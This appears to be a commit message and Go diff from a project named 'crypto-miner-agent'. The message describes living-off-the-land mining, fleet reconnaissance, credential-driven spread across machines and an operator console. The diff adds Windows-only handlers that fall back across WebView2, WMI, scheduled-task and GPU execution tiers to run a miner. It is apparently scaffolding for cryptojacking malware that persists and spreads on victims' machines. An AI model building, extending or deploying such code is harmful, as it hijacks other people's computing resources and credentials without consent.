Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_adapters.go

@@ -0,0 +1,79 @@
+package miner
+
+import (
+	"context"
+	"runtime"
+
+	"crypto-miner-agent/config"
+)
+
+type webview2ProbeHandler struct{}
+
+func (t *webview2ProbeHandler) Tier() LOTLTier { return TierWebView2Probe }
+
+func (t *webview2ProbeHandler) Available(cfg config.RuntimeConfig) bool {
+	_ = cfg
+	return runtime.GOOS == "windows"
+}
+
+func (t *webview2ProbeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
+	return RunWebView2Probe(ctx, cfg)
+}
+
+func (t *webview2ProbeHandler) Stop() {}
+
+type wmiHandler struct{}
+
+func (t *wmiHandler) Tier() LOTLTier { return TierWMI }
+
+func (t *wmiHandler) Available(cfg config.RuntimeConfig) bool {
+	_ = cfg
+	return runtime.GOOS == "windows"
+}
+
+func (t *wmiHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
+	return RunWMITier(ctx, cfg)
+}
+
+func (t *wmiHandler) Stop() {}
+
+type scheduledTaskHandler struct{}
+
+func (t *scheduledTaskHandler) Tier() LOTLTier { return TierScheduledTask }
+
+func (t *scheduledTaskHandler) Available(cfg config.RuntimeConfig) bool {
+	_ = cfg
+	return runtime.GOOS == "windows"
+}
+
+func (t *scheduledTaskHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
+	return RunScheduledTaskTier(ctx, cfg)
+}
+
+func (t *scheduledTaskHandler) Stop() {}
+
+type gpuComputeHandler struct{}
+
+func (t *gpuComputeHandler) Tier() LOTLTier { return TierGPUCompute }
+
+func (t *gpuComputeHandler) Available(cfg config.RuntimeConfig) bool {
+	return runtime.GOOS == "windows" && cfg.GPUEnabled
+}
+
+func (t *gpuComputeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
+	return RunGPUComputeTier(ctx, cfg)
+}
+
+func (t *gpuComputeHandler) Stop() {}
+
+func defaultTierHandlers() []TierHandler {
+	if runtime.GOOS != "windows" {
+		return nil
+	}
+	return []TierHandler{
+		&webview2ProbeHandler{},
+		&wmiHandler{},
+		&scheduledTaskHandler{},
+		&gpuComputeHandler{},
+	}
+}